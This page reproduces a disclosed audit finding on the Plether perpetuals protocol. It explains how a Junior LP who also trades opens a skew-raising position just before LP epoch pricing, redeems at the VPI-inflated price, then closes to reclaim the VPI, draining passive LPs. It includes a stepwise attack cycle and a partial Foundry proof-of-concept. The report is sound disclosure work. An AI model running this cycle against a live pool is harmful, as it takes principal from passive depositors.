Skip to content
Business logic Audit finding Advanced

A Junior LP can pay VPI just before its redemption is priced and take it back right after, draining passive Junior principal

Positive VPI paid by an opening trade is booked as Junior principal, so an attacker who is also a Junior LP can open just before an LP epoch is priced, redeem at the inflated price, then close and reclaim the VPI. Passive Junior LPs lose principal each cycle while the attacker profits.

thimthor Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#99170 [SC-Critical] A Junior LP can pay VPI just before its redemption is priced and take it back right after, draining passive Junior principal

Submitted on Nov 12th 2026 at 09:35:52 UTC by @thimthor for Audit Competition | Plether

Description

In the PoC, on a flat book with no other open positions, with an attacker holding 80% of Junior, a passive 10M Junior LP loses 319,149 USDG (3.19%) in 26 hours. The attacker nets +206,780 after all fees and the rest goes to execution fees. It uses only public calls and needs no skew from other traders.

Relevant Context

  • VPI. A trade pays C(S_post) − C(S_pre) with C(S) = k·S²/(2D) (skew S, pool depth D, k = vpiFactor = 0.01). A trade that raises skew pays VPI P into pool cash. When the same position closes and skew returns to where it was, the curve pays P back. A lifetime clamp stops the rebate from exceeding what the position paid.
  • LP epochs. Junior deposits and redemptions are queued and priced together at an hourly epoch boundary. After the boundary anyone can call OrderRouter.settleLpEpoch, which reconciles the pool and prices every matured request at juniorPrincipal / supply at that instant. There is no exit fee in a live market.
  • Waterfall. Revenue first restores Senior up to its high-water mark; everything else goes to Junior. Senior is at its high-water mark unless a loss has impaired it, so in normal operation all VPI lands in Junior.

Finding Description

Positive VPI held by open positions is a refundable deposit: when skew unwinds, the curve pays it back. The pool nevertheless counts it as Junior equity the moment it is paid, and LP settlement prices exits and entries on that equity. Whoever controls the timing of the close controls which LP cohort keeps the VPI, and a trader who is also a Junior LP controls it. GMX v2 handles the equivalent value differently: MarketUtils.getPoolValueInfo deducts its position-impact pool from LP pool value and releases it to LPs over time.

1. Open-side VPI is booked as pool revenue. tradeCostAssets is VPI plus the execution fee; the part not sent to the treasury is recorded as Revenue that arrived as cash:

Solidity
// packages/perps/src/CfdEngineSettlementSidecar.sol:454-463 (executeOpen)
if (delta.tradeCostAssets > 0) {
    uint256 poolCashInflowAssets = uint256(delta.tradeCostAssets) - protocolFeeCreditedAssets;
    if (poolCashInflowAssets > 0) {
        IHousePool(host.pool())
            .recordClaimantInflow(
                poolCashInflowAssets,
@>              IHousePool.ClaimantInflowKind.Revenue,
                IHousePool.ClaimantInflowCashMode.CashArrived
            );
    }
}

In a funded pool, recordClaimantInflow only does accountedAssets += amount (HousePool.sol:641). Nothing records that an open position can reclaim this cash.

2. The next reconcile hands it to Junior. The pool's distributable equity is physical assets minus trader claims plus the price-only terminal delta (HousePoolAccountingLib.sol:60-77). It has no term for positive VPI held by open positions. The increase goes through distributeRevenue:

Solidity
// packages/perps/src/libraries/HousePoolWaterfallAccountingLib.sol:140-159
@>  nextState.juniorPrincipal += remaining;

3. LP settlement prices redemptions on that principal:

Solidity
// packages/perps/src/HousePool.sol:835-841 (_settleLpEpoch)
@>  _reconcile(accountingSnapshot, statusSnapshot);
    _checkpointEngineCarryIndexes();

    result.cutoffEpoch = cutoffEpoch;
    RedemptionPhase memory juniorPhase;
@>  juniorPhase.pricingPrincipal = juniorPrincipal;
    juniorPhase.pricingSupply = _juniorShareSupply();

4. The same position then takes P back. On close, the VPI curve pays the rebate and the clamp limits it to what the position paid:

Solidity
// packages/perps/src/libraries/CloseAccountingLib.sol:103-118
state.proportionalAccrualAssets =
    (inputs.position.vpiAccrued * int256(inputs.sizeDelta)) / int256(inputs.position.size);
...
    state.vpiDeltaAssets = CfdMath.calculateVPI(
        inputs.preSkewAssets, inputs.postSkewAssets, inputs.poolDepthAssets, inputs.vpiFactor
    );
...
@>  if (state.proportionalAccrualAssets + state.vpiDeltaAssets < 0) {
@>      state.vpiDeltaAssets = -state.proportionalAccrualAssets;
    }

The attack. An attacker holding a share f of Junior repeats this cycle, each step a separate public transaction:

  1. Request redemption of all its Junior shares.
  2. About 60 s before the epoch boundary, commit an open that increases skew (in the direction of any existing skew). Any keeper executes it and VPI P enters pool cash.
  3. After the boundary, any keeper calls settleLpEpoch. The redemption is priced on Junior principal that includes P.
  4. Commit a full close. Any keeper executes it and the position gets P back.
  5. Claim the redeemed USDG, re-deposit at the now-fair price, and repeat. One cycle (one epoch to redeem, one to re-deposit, and the 1-hour deposit cooldown) takes about 2h53m.

The attacker's redemption gains about f·P. Its trading legs cost only the two 4 bps execution fees and a small confidence spread, since the VPI comes back. Passive Junior LPs pay the f·P. Depositors whose deposits activate in the same settlement buy at the inflated price and share the loss.

No privileged role, atomic transaction or price movement is needed. Keepers are untrusted and the attacker can execute its own orders and call settleLpEpoch itself; the PoC uses a separate keeper to show the attacker needs no control over ordering. If another trader reduces skew between the attacker's open and close, the attacker's rebate shrinks. That is a risk to the attacker only.

Why this is not covered by documented behavior or known issues:

  • The docs describe VPI moving share value, not one holder choosing who pays it. The LP quickstart says share value "may increase through … positive VPI" and "may decrease when … VPI rebates … flow through the waterfall", and positive VPI is "pool trading revenue owned by LPs" (Trading costs). That describes the direction of NAV under ordinary trading. Here one actor pays VPI in and takes it back around its own pricing, so the pool earns nothing and the attacker's gain comes from other LPs. This contradicts the protocol's stated intent: the trading-costs page says the clamp means a closing rebate "cannot turn the round trip into pure rebate income", and the AI trading agents page says VPI "cannot become an income stream. If your agent wants the pool's liquidity economics, it commits capital as an LP." Holding both roles turns the round trip into income paid by other LPs. Being an LP does not entitle the attacker to this: passive LPs end up funding a rebate on VPI the pool never kept.

  • Existing protections cover other cases. The lifetime clamp (SECURITY.md:1443, "intentionally zeroes otherwise extractable rebate-only round trips", and the clamp's "LP sandwich" comment) stops a trader from receiving net VPI; here the trader receives none. The anticipated-VPI rule (SECURITY.md:871-872) and the negative-VPI reserve that "cannot be extracted by LPs" (ACCOUNTING_SPEC.md:821-822) keep contingent VPI out of NAV. Nothing covers positive VPI that its payer can still reclaim: its cash sits in NAV.

  • Not the known depth-manipulation issue (SCAN-31). SCAN-31 is about a reduced pool depth inflating a close rebate above what the unmanipulated curve pays. In the multi-cycle runs depth does fall after the redemption and the clamp trims the rebate to P. test_constantDepth_curveAloneRefundsP removes that factor: depth is unchanged, the rebate is the raw curve value and below P, and the attacker still profits. A fix for SCAN-31, such as snapshotting depth, would not stop this attack.

  • Not the accepted timing risks. Three passages accept that LP pricing moves with timing:

    • the whitepaper's deposit-epoch note that finalization "still has timing and liveness risk because requests have neither an auction nor a user-specified share-price limit" (WHITEPAPER.md:1793-1796);
    • SECURITY.md:1048, which says trading during the pre-settlement quiet period "can change NAV";
    • ACCOUNTING_SPEC.md:737-740, which "intentionally allows a trader and incoming LP to time collection" of carry.

    These cover NAV drift a requester cannot predict, and real carry revenue landing with a different LP. Here the attacker sets both the charge and its refund, net VPI is zero, and passive LPs lose principal.

Impact Explanation

Passive Junior LPs lose principal in every cycle, and the attacker keeps it. The PoC measures this over 9 cycles in 26 hours with release parameters, a 10M passive Junior LP, 30M Senior and a constant price, against an honest run with the same deposits, redemptions and timing but no attacker trades:

Scenario Attacker share of Junior Passive LP loss Attacker net Execution fees to treasury
Flat book; attacker trades 39% of depth 80% 319,149 USDG (3.19%) +206,780 112,399
Opportunistic variant: another trader holds 25% skew; attacker adds 14% of depth 33% 35,700 USDG (0.36%) +13,010 22,693
  • The passive LP's loss equals the attacker's net gain plus the treasury fees the attacker's trades paid. Senior is unchanged.
  • In the flat-book run the passive LP ends at 9,677,399 USDG against 9,996,548 in the honest run, after depositing 10,000,000. (The honest run is slightly below 10M because Junior pays the Senior coupon.) The attacker ends with +202,834 more USDG than it was ever given (honest run: −3,946).
  • The flat-book drain needs nothing from other traders and repeats every cycle for as long as the attacker keeps its share. Amounts scale with pool size.
  • Existing skew is optional. It lowers the Junior share needed, because each unit of attacker notional then moves more VPI. Every cycle is independent, so the attacker can act only at boundaries where other traders already hold skew; it does not need that skew to persist. The PoC holds 25% skew across all 9 cycles only to keep the run simple; a single such cycle nets +1,415 at a 33% share (test_attackerNetByJuniorShare). 25% is a high skew against the 40% cap, not a typical state; at lower existing skew the share needed moves toward the flat-book 44%. In this variant more than half the passive LP's loss goes to fees, but the attacker still profits, so it is theft with a profit motive, not griefing.

Recommendation

Do not count positive VPI that open positions can still reclaim as Junior equity when pricing LP entries and exits.

  • Simple fix: vest positive VPI into Junior principal over several epochs, and pay close rebates from the unvested balance first. A round trip around one settlement then captures at most what vested in that epoch.
  • Precise fix: keep a running total of max(vpiAccrued, 0) over open positions, capped at the current curve value C(|S|, D), and subtract it from the equity used for LP pricing (not from the depth used for VPI or the skew cap). Release it gradually as positions close or are liquidated, so a depositor cannot capture a lump release.

GMX v2 handles the same problem this way: MarketUtils.getPoolValueInfo deducts the position-impact pool from LP pool value, and the pool is distributed to LPs over time.

Proof of Concept

Proof of Concept

Add the following test file to packages/perps/test/perps/spec/lp/VpiRoundTripAroundLpSettlement.t.sol. It uses the repository's BasePerpTest fixture (mocked Pyth and USDG, as the competition rules allow), applies the release parameters from packages/perps/DEPLOYMENT.md and asserts them in setUp, and changes no in-scope contract. The attacker only calls requestDeposit, claimDeposit, requestRedeem, redeem, commitOrder and the clearinghouse deposit. A separate KEEPER address executes every order and calls every settleLpEpoch. The helpers under // Public-path helpers only wrap these public calls.

The five tests:

  • test_singleEpoch_redemptionIsPricedWithRefundableVpi: one cycle. The key assertion is assertGe(atkPricing, basePricing + uint256(vpiPaid)): Junior principal used for pricing includes P. The close returns P, the attacker profits and the passive LP loses.
  • test_constantDepth_curveAloneRefundsP: same cycle with depth held constant by an unrelated same-epoch deposit. The close rebate is the raw curve value, the clamp does not bind, and the attacker still profits. This rules out depth manipulation.
  • test_multiCycle_80PercentShare_flatBook and test_multiCycle_33PercentShare_existingSkew: 9 cycles against an honest run (the table above). The second holds 25% skew in every cycle for simplicity; the attack does not require that.
  • test_attackerNetByJuniorShare: single-cycle attacker net at several Junior shares, and at the 10 bp confidence ceiling (the break-even points above).
Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {BasePerpTest} from "../../BasePerpTest.sol";
import {CfdMath} from "@plether/perps/CfdMath.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {ICfdEngineTypes} from "@plether/perps/interfaces/ICfdEngineTypes.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";

/// @title VPI round trip around LP settlement drains passive Junior LPs
/// @notice A skew-increasing open pays VPI `P` into HousePool, and the next reconcile books it as Junior principal.
///         The same position gets `P` back when it closes. `HousePool._settleLpEpoch` prices Junior redemptions on the
///         principal of that instant, so an attacker who holds Junior shares opens just before its redemption is
///         priced and closes right after. Its redemption includes its share of `P`; passive Junior LPs pay for it.
///         Every step is a separate public transaction. A neutral KEEPER executes every order and settles every
///         epoch. The basket price is constant, so the only value moving is VPI, fees and the confidence spread.
contract VpiRoundTripAroundLpSettlementTest is BasePerpTest {

    uint256 internal constant SENIOR_DEPOSIT = 30_000_000e6;
    uint256 internal constant VICTIM_JUNIOR = 10_000_000e6;
    uint256 internal constant CYCLES = 9;
    uint256 internal constant MAX_TOTAL_SKEW_BPS = 3900; // total skew after the attacker's open: 39% (cap is 40%)
    uint256 internal constant PRICE = 1e8; // constant basket price
    uint256 internal constant PRE_BOUNDARY = 60 seconds; // the attacker opens 60s before the epoch boundary

    address internal constant SENIOR_LP = address(0x5E01);
    address internal constant VICTIM_LP = address(0xB0B); // passive Junior LP
    address internal constant ATTACKER_LP = address(0xA77); // attacker's Junior account
    address internal constant TRADER_A = address(0xA77A); // attacker's trading account
    address internal constant KEEPER = address(0xEE9); // neutral third-party keeper
    address internal constant ORGANIC = address(0x0E6A); // unrelated trader holding pre-existing skew
    address internal constant NEW_LP = address(0xD3F0); // unrelated LP whose deposit activates with the redemption

    uint256 internal leg; // current trade size in 18-decimal tokens
    uint256 internal legMargin;
    uint256 internal attackerMinted; // all USDG ever minted to ATTACKER_LP and TRADER_A
    uint256 internal nominalFees; // 4 bps of every attacker open and close
    uint256 internal organicSkewBps; // ORGANIC LONG as a share of depth (0 = flat book)
    uint64 internal pythConf = 10_000; // Pyth confidence on each feed: 1 bp of PRICE

    struct Outcome {
        uint256 attackerLpUsdg;
        uint256 attackerTradingUsdg;
        int256 attackerAbsoluteProfit;
        uint256 victimValue;
        uint256 seniorValue;
        uint256 treasuryFees;
        uint256 elapsed;
    }

    struct ConstantDepthEpoch {
        uint256 redeemed;
        int256 pOpen; // VPI charged on the pre-boundary open
        int256 refundClose; // VPI rebated on the post-settlement close
        uint256 curveRefund; // raw VPI curve rebate at the close depth, before the lifetime clamp
        uint256 depthBeforeOpen;
        uint256 depthBeforeClose;
    }

    // Release risk parameters (packages/perps/DEPLOYMENT.md, "Initial release parameters").
    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        return CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function _initialJuniorDeposit() internal pure override returns (uint256) {
        return 0;
    }

    function setUp() public override {
        super.setUp();
        IOrderRouterAdminHost.RouterConfig memory config = _routerConfig();
        config.adverseConfidenceMultiplierBps = 2500;
        config.basketMaxConfidenceRatioBps = 10;
        config.minOpenNotionalAssets = 1000e6;
        _setRouterConfig(config);
        _setSeniorCapacity(40_000_000e6, 8000);
        _assertReleaseConfig();

        // Next Monday morning: no weekend or FAD window during the run.
        vm.warp(SETUP_TIMESTAMP + ((block.timestamp - SETUP_TIMESTAMP) / 7 days + 1) * 7 days);

        _fundJunior(VICTIM_LP, VICTIM_JUNIOR);
        _fundSenior(SENIOR_LP, SENIOR_DEPOSIT);
    }

    // ---------------------------------------------------------------------
    // 1. Mechanism: one epoch, flat book, attacker holds 80% of Junior
    // ---------------------------------------------------------------------

    function test_singleEpoch_redemptionIsPricedWithRefundableVpi() public {
        _enterAttacker(40_000_000e6);
        uint256 snap = vm.snapshotState();
        (uint256 basePricing, uint256 baseRedeemed,) = _redemptionEpoch(false);
        uint256 baseVictim = _juniorValue(VICTIM_LP);
        assertTrue(vm.revertToState(snap));

        uint256 traderBefore = clearinghouse.balanceAssets(TRADER_A);
        (uint256 atkPricing, uint256 atkRedeemed, int256 vpiPaid) = _redemptionEpoch(true);
        uint256 traderCost = traderBefore - clearinghouse.balanceAssets(TRADER_A);
        uint256 atkVictim = _juniorValue(VICTIM_LP);

        emit log_named_decimal_int("VPI P paid by the pre-boundary open", vpiPaid, 6);
        emit log_named_decimal_uint("Junior principal used for pricing, honest", basePricing, 6);
        emit log_named_decimal_uint("Junior principal used for pricing, attack", atkPricing, 6);
        emit log_named_decimal_uint("attacker redeemed, honest", baseRedeemed, 6);
        emit log_named_decimal_uint("attacker redeemed, attack", atkRedeemed, 6);
        emit log_named_decimal_uint("attacker trading cost (open + close)", traderCost, 6);
        emit log_named_decimal_int("ATTACKER NET", int256(atkRedeemed) - int256(baseRedeemed) - int256(traderCost), 6);
        emit log_named_decimal_uint("VICTIM LOSS", baseVictim - atkVictim, 6);

        assertGt(vpiPaid, 0, "open paid positive VPI");
        assertEq(_size(TRADER_A), 0, "position fully closed");
        assertGe(atkPricing, basePricing + uint256(vpiPaid), "redemption priced with P inside Junior principal");
        assertLt(traderCost, uint256(vpiPaid), "P came back on close: trading cost is below P");
        assertGt(atkRedeemed - baseRedeemed, traderCost, "attacker profits");
        assertGt(baseVictim, atkVictim, "passive Junior loses");
    }

    // ---------------------------------------------------------------------
    // 2. Control: depth held constant, the raw VPI curve alone refunds P
    // ---------------------------------------------------------------------

    /// An unrelated 40M Junior deposit activates in the same settlement as the attacker's 40M redemption, so depth is
    /// the same at the open and at the close. The close rebate is the plain curve value and the lifetime clamp does
    /// not bind. The new depositor buys its shares at the inflated price and bears the loss.
    function test_constantDepth_curveAloneRefundsP() public {
        _enterAttacker(40_000_000e6);
        uint256 snap = vm.snapshotState();
        ConstantDepthEpoch memory base = _constantDepthEpoch(false);
        uint256 baseVictim = _juniorValue(VICTIM_LP);
        uint256 baseNewLp = _juniorValue(NEW_LP);
        assertTrue(vm.revertToState(snap));

        uint256 traderBefore = clearinghouse.balanceAssets(TRADER_A);
        ConstantDepthEpoch memory atk = _constantDepthEpoch(true);
        uint256 traderCost = traderBefore - clearinghouse.balanceAssets(TRADER_A);
        uint256 atkVictim = _juniorValue(VICTIM_LP);
        uint256 atkNewLp = _juniorValue(NEW_LP);
        int256 attackerNet = int256(atk.redeemed) - int256(base.redeemed) - int256(traderCost);

        emit log_named_decimal_uint("pool depth at open", atk.depthBeforeOpen, 6);
        emit log_named_decimal_uint("pool depth at close", atk.depthBeforeClose, 6);
        emit log_named_decimal_int("VPI P charged on open", atk.pOpen, 6);
        emit log_named_decimal_int("VPI rebated on close", atk.refundClose, 6);
        emit log_named_decimal_uint("raw curve rebate at close depth", atk.curveRefund, 6);
        emit log_named_decimal_int("ATTACKER NET", attackerNet, 6);
        emit log_named_decimal_int("NEW_LP LOSS", int256(baseNewLp) - int256(atkNewLp), 6);
        emit log_named_decimal_int(
            "PASSIVE JUNIOR LOSS (victim + NEW_LP)", int256(baseVictim + baseNewLp) - int256(atkVictim + atkNewLp), 6
        );

        assertApproxEqRel(atk.depthBeforeClose, atk.depthBeforeOpen, 0.01e18, "depth unchanged within 1%");
        assertApproxEqAbs(atk.refundClose, int256(atk.curveRefund), 1e6, "close rebate is the raw curve value");
        assertLt(atk.refundClose, atk.pOpen, "rebate below P: lifetime clamp not binding");
        assertApproxEqRel(atk.refundClose, atk.pOpen, 0.001e18, "curve refunds P within 0.1%");
        assertGt(attackerNet, 0, "attacker profits");
        assertGt(baseNewLp, atkNewLp, "new depositor overpays");
        assertGt(baseVictim + baseNewLp, atkVictim + atkNewLp, "passive Junior loses");
    }

    // ---------------------------------------------------------------------
    // 3. Repeated attack over 26 hours (9 cycles)
    // ---------------------------------------------------------------------

    /// Attacker holds 33% of Junior. An unrelated trader already holds a LONG of 25% of depth; each cycle the attacker
    /// adds a LONG of 14% of depth (39% in total).
    function test_multiCycle_33PercentShare_existingSkew() public {
        organicSkewBps = 2500;
        uint256 capital = 5_000_000e6;
        settlementToken.mint(ATTACKER_LP, capital);
        _publicJuniorDeposit(capital);
        uint256 margin = 2 * (pool.totalAssets() * (MAX_TOTAL_SKEW_BPS - organicSkewBps) / 10_000) / 20;
        _fundTrader(TRADER_A, margin);
        attackerMinted = capital + margin;
        _openOrganicLong();
        emit log_named_decimal_uint("attacker share of Junior %", capital * 1e6 / (capital + VICTIM_JUNIOR), 4);
        emit log_named_decimal_uint("attacker USDG ever minted", attackerMinted, 6);

        (Outcome memory base, Outcome memory atk) = _runBoth();
        (int256 victimLoss,) = _logResult(base, atk);

        assertGt(victimLoss, 0, "victim Junior loses");
        assertGt(atk.attackerAbsoluteProfit, base.attackerAbsoluteProfit, "attack beats honest run");
        assertGt(atk.attackerAbsoluteProfit, 0, "attacker ends with more USDG than it was ever given");
        assertApproxEqAbs(atk.seniorValue, base.seniorValue, 1e6, "Senior unchanged");
    }

    /// Attacker holds 80% of Junior on a flat book and opens a LONG of 39% of depth each cycle.
    function test_multiCycle_80PercentShare_flatBook() public {
        _enterAttacker(40_000_000e6);
        (Outcome memory base, Outcome memory atk) = _runBoth();
        (int256 victimLoss, int256 attackerNet) = _logResult(base, atk);
        uint256 tradingCost = base.attackerTradingUsdg - atk.attackerTradingUsdg;
        emit log_named_decimal_uint("attacker trading cost", tradingCost, 6);
        emit log_named_decimal_uint("nominal execution fees (4 bps x 2 x 9)", nominalFees, 6);

        assertGt(victimLoss * 1000, int256(base.victimValue) * 15, "victim Junior loses more than 1.5%");
        assertGt(atk.attackerAbsoluteProfit, 0, "attacker ends with more USDG than it was ever given");
        assertApproxEqAbs(atk.seniorValue, base.seniorValue, 1e6, "Senior unchanged");
        // No VPI is kept by the trading legs: they cost only the execution fees plus a small confidence spread.
        assertGe(tradingCost, nominalFees, "trading legs gain no VPI");
        assertLe(tradingCost, nominalFees * 11 / 10, "VPI refunded: trading cost <= 1.1 x execution fees");
        // Victim loss = attacker net + fees credited to the treasury.
        assertApproxEqAbs(victimLoss, attackerNet + int256(atk.treasuryFees - base.treasuryFees), 100e6, "conservation");
    }

    // ---------------------------------------------------------------------
    // 4. Single-epoch attacker net by Junior share
    // ---------------------------------------------------------------------

    function test_attackerNetByJuniorShare() public {
        emit log_string("=== flat book: attacker opens 39% of depth");
        int256 flat41 = _singleEpochNet(7_000_000e6);
        int256 flat50 = _singleEpochNet(10_000_000e6);

        emit log_string("=== 25% existing skew: attacker opens 14% of depth");
        organicSkewBps = 2500;
        int256 skew29 = _singleEpochNet(4_000_000e6);
        int256 skew33 = _singleEpochNet(5_000_000e6);

        // Release confidence ceiling (basketMaxConfidenceRatioBps = 10): the adverse-confidence spread is 10x larger.
        emit log_string("=== 25% existing skew, 10 bp Pyth confidence (release ceiling)");
        pythConf = 100_000;
        int256 maxConf41 = _singleEpochNet(7_000_000e6);

        assertLt(flat41, 0, "flat book: below break-even at 41%");
        assertGt(flat50, 0, "flat book: profitable at 50%");
        assertGt(skew29, 0, "25% skew: profitable at 28.6%");
        assertGt(skew33, skew29, "profit grows with share");
        assertGt(maxConf41, 0, "10 bp confidence, 25% skew: profitable at 41%");
    }

    // ---------------------------------------------------------------------
    // Scenario drivers
    // ---------------------------------------------------------------------

    /// Runs CYCLES redemption epochs honestly and then, from the same state, with the attack.
    function _runBoth() internal returns (Outcome memory base, Outcome memory atk) {
        uint256 snap = vm.snapshotState();
        emit log_string("--- honest baseline (same deposits, redemptions and timing, no attacker trades)");
        base = _run(false);
        assertTrue(vm.revertToState(snap));
        nominalFees = 0;
        emit log_string("--- attack");
        atk = _run(true);
    }

    function _run(
        bool attack
    ) internal returns (Outcome memory out) {
        uint256 start = vm.getBlockTimestamp();
        uint256 treasuryBefore = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT);
        for (uint256 c = 1; c <= CYCLES; ++c) {
            _redemptionEpoch(attack);
            if (c < CYCLES) {
                _publicJuniorDeposit(settlementToken.balanceOf(ATTACKER_LP));
            }
        }
        out.attackerLpUsdg = settlementToken.balanceOf(ATTACKER_LP) + _juniorValue(ATTACKER_LP);

        // Close the unrelated position too, so both runs end with an empty book.
        if (_size(ORGANIC) > 0) {
            leg = _size(ORGANIC);
            _trade(ORGANIC, CfdTypes.Side.LONG, 0, true);
        }
        assertEq(engine.traderClaimBalanceAssets(TRADER_A), 0, "no deferred trader claim");

        out.attackerTradingUsdg = clearinghouse.balanceAssets(TRADER_A);
        out.attackerAbsoluteProfit =
            int256(settlementToken.balanceOf(ATTACKER_LP) + out.attackerTradingUsdg) - int256(attackerMinted);
        out.victimValue = _juniorValue(VICTIM_LP);
        out.seniorValue = seniorVault.convertToAssets(seniorVault.balanceOf(SENIOR_LP));
        out.treasuryFees = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT) - treasuryBefore;
        out.elapsed = vm.getBlockTimestamp() - start;
    }

    /// One redemption of all attacker Junior shares. Each step is its own transaction:
    ///   boundary - 60s : attacker commits the open; next block KEEPER executes it
    ///   boundary + 1s  : KEEPER calls OrderRouter.settleLpEpoch
    ///   afterwards     : attacker commits the full close; next block KEEPER executes it; attacker claims USDG
    function _redemptionEpoch(
        bool attack
    ) internal returns (uint256 pricingPrincipal, uint256 redeemed, int256 vpiPaid) {
        vm.warp(block.timestamp + juniorVault.DEPOSIT_COOLDOWN() + 1);
  

The original report as published on Immunefi, by thimthor. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the pool counts positive VPI held by open positions as Junior equity when pricing LP entries and exits, even though the same position can reclaim it on close.

Impact

Passive Junior LPs lose principal in every cycle and the attacker keeps it; the PoC shows a 3.19% loss to a passive 10M Junior LP over 26 hours, though the attacker's rebate shrinks if another trader reduces skew between the open and close.

What the attacker needed

Attacker holds Junior shares; attacker can trade on the pool; no privileged role needed

The fix

Positive VPI that open positions can still reclaim should not count as Junior equity when pricing LP entries and exits; it should be vested over several epochs or subtracted from the equity used for LP pricing.

How it was found

  1. Request redemption of all the attacker's Junior shares.
  2. About 60 s before the epoch boundary, commit an open that increases skew so VPI enters pool cash.
  3. After the boundary, call settleLpEpoch so the redemption is priced on Junior principal that includes the VPI.
  4. Commit a full close so the position gets the VPI back.
  5. Claim the redeemed USDG, re-deposit at the now-fair price, and repeat.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a trader opens a position, they pay a temporary fee called VPI that is meant to be refunded when the position closes. The pool mistakenly treats that refundable money as real profit belonging to liquidity providers, so it raises the value of their shares. An attacker who is both a trader and a liquidity provider can time their exit so they are paid out at the inflated value, then close the trade to get the VPI back, leaving other liquidity providers with less money.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by thimthor

View all

7 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.